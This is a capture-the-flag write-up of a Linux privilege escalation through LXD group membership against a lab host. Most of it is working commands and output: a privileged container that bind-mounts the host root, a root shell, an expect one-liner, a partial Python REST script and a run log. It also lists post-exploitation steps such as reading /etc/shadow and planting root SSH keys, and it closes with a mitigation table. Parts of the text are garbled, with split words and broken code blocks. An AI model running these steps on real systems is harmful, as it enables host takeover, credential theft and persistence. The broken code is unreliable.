

LXD Group Privilege Escalation — CTF Writeup

Target: 172.31.29.235

User: user / user

Category: Linux Privilege Escalation

Vulnerability: LXD group membership (lxd)

Summary

A non-privileged user belonging to the `lxd` Unix group can interact with the local LXD daemon (which runs as root). By creating a **privileged container** with the host `lxcfs` filesystem bind-mounted inside it, the attacker gains root access to the entire host.

1. Enumeration

SSH into the target and enumerate group memberships and LXD availability.

```
$ ssh user@172.31.29.235
```

```
Password: user
```

```
$ id
```

```
uid=1004(user) gid=1005(user) groups=1005(user),997(lxd)
```

```
$ snap run lxd.lxc image list
```

```
+-----+-----+-----+-----+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION |
| ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+-----+-----+-----+-----+
| myalpine | 7d9d520016d7 | no | Alpine 3.21 amd64 (20260513_0119) |
| x86_64 | CONTAINER | 3.09MiB | May 13, 2026 at 9:47am (UTC) |
+-----+-----+-----+-----+
```

```
$ snap run lxd.lxc list
```

NAME	STATE	IPV4	IPV6	TYPE	SNAPSHOTS
welcomed-gazelle	RUNNING	...	...	CONTAINER	0

Key findings:

- User is in the `lxd` group (GID 997)
- LXD is installed via snap (`lxd` snap v6.7)
- An Alpine 3.21 image (`myalpine`) already exists
- A container (`welcomed-gazelle`) is already running

2. Exploitation

Step 1 — Initialize a privileged container

Create a container with `security.privileged=true`. This disables UID/GID mapping so the container runs as real root on the host.

```
user@ip-172-31-29-235:~$ snap run lxd.lxc init myalpine privesc -c
security.privileged=true Creating privesc
```

Step 2 — Bind-mount the host root filesystem

Add a disk device that maps the host `/` into the container at `/mnt/host`.

```
user@ip-172-31-29-235:~$ snap run lxd.lxc config device add privesc
hostroot disk source=/ path=/mnt/host Device host-root added to privesc
```

Step 3 — Start the container

```
user@ip-172-31-29-235:~$ snap run lxd.lxc
start privesc
```

Verify it is running:

```
user@ip-172-31-29-235:~$ snap run lxd.lxc list privesc
```

NAME	STATE	IPV4	IPV6
TYPE	SNAPSHOTS		

```

-----+-----+-----+ |
privesc | RUNNING | 10.56.102.253 (eth0) |
fd42:bc8c:8ddd:9bb:216:3eff:fe2e:1901 (eth0) | CONTAINER | 0 | +--
-----+-----+-----+
-----+-----+-----+

```

Step 4 — Execute shell inside the container as root

```

user@ip-172-31-29-235:~$ snap run lxd.lxc exec privesc -- /bin/sh
~ # id
uid=0(root) gid=0(root)

```

At this point we are root **inside the container**, but since the host root is mounted at `/mnt/host`, we have full access to the host lesystem.

3. Flag Retrieval

```

~ # cat /mnt/host/root/flag.txt ctf{GieY5xeegeija9neisaep7kox2coo8ye}

```

4. Additional Post-Exploitation

With the host lesystem accessible, an attacker can:

- Extract password hashes: `cat /mnt/host/etc/shadow`
- Add SSH keys: `cat ~/.ssh/id_rsa.pub >> /mnt/host/root/.ssh/authorized_keys`
-
- Ex

Install backdoors: `chroot /mnt/host bash`

ltrate sensitive data

5. One-Liner PoC

For automation, the entire exploit can be run as:

```

expect -c ' set timeout 30 spawn ssh user@172.31.29.235 expect
"password:" send "user\r" expect "$ " send "snap run lxd.lxc init

```

```
myalpine privesc -c security.privileged=true\ expect "$ " send "snap run
lxd.lxc config device add privesc host-root disk source=/ expect "$ "
send "snap run lxd.lxc start privesc\r" expect "$ " send "snap run
lxd.lxc exec privesc -- cat /mnt/host/root/flag.txt\r" expect "$ " send
"exit\r" expect eof
,
```

Or as a Python script using the LXD REST API directly:

```
import requests, json
socket_path = "/var/snap/lxd/common/lxd/unix.socket"

# Create privileged container r =
requests.post("http://localhost/1.0/containers",
headers={"Content-Type": "application/json"},
data=json.dumps({
    "name": "privesc",
    "source": {"type": "image", "alias": "myalpine"},
    "config": {"security.privileged": "true"},
    "devices": {"host-root": {"type": "disk", "source": "/", "path":
    }}}))

# Start it
requests.put("http://localhost/1.0/containers/privesc/state",
data=json.dumps({"action": "start"}))
```

6. Mitigation

To prevent this vulnerability:

Mitigation	Description
Remove users from <code>lxd</code> group	Only trusted admins should be in the <code>lxd</code> group
Use <code>lxd</code> ACLs	Restrict who can access the LXD daemon via <code>lxd config set core.trust_password</code>
Audit group membership	Periodically check <code>/etc/group</code> for sensitive group memberships
AppArmor/SELinux	Enforce mandatory access controls on LXD
Avoid privilege escalation	Do not allow unprivileged users to create privileged containers

The root cause is that the `lxd` group grants **effective root-equivalent access** because the LXD daemon runs as root and trusts any member of the `lxd` group with full API access.

Flag: `ctf{GieY5xeegeija9neisaep7kox2coo8ye}`

```
(venv)-(kali@kali)-[~]
$ expect -c '
set timeout 30
spawn ssh user@172.31.29.235
expect "password:"
send "user\r"
expect "$ "
send "snap run lxd.lxc init myalpine privesc -c security.privileged=true\r"
expect "$ "
send "snap run lxd.lxc config device add privesc host-root disk source=/ path=/mnt/host\r"
expect "$ "
send "snap run lxd.lxc start privesc\r"
expect "$ "
send "snap run lxd.lxc exec privesc -- cat /mnt/host/root/flag.txt\r"
expect "$ "
send "exit\r"
expect eof

spawn ssh user@172.31.29.235
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
user@172.31.29.235's password:
Linux ip-172-31-29-235 5.10.0-42-cloud-amd64 #1 SMP Debian 5.10.251-4 (2026-05-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Wed May 13 10:26:35 2026 from 172.31.4.41
user@ip-172-31-29-235:~$ snap run lxd.lxc init myalpine privesc -c security.privileged=true
Creating privesc
Error: Instance "privesc" already exists
user@ip-172-31-29-235:~$ snap run lxd.lxc config device add privesc host-root disk source=/ path=/mnt/host
Error: The device already exists
user@ip-172-31-29-235:~$ snap run lxd.lxc start privesc
Error: The instance is already running
user@ip-172-31-29-235:~$ snap run lxd.lxc exec privesc -- cat /mnt/host/root/flag.txt
ctf{GieY5xeegeija9neisaep7kox2coo8ye}
user@ip-172-31-29-235:~$ exit
logout
Connection to 172.31.29.235 closed.
```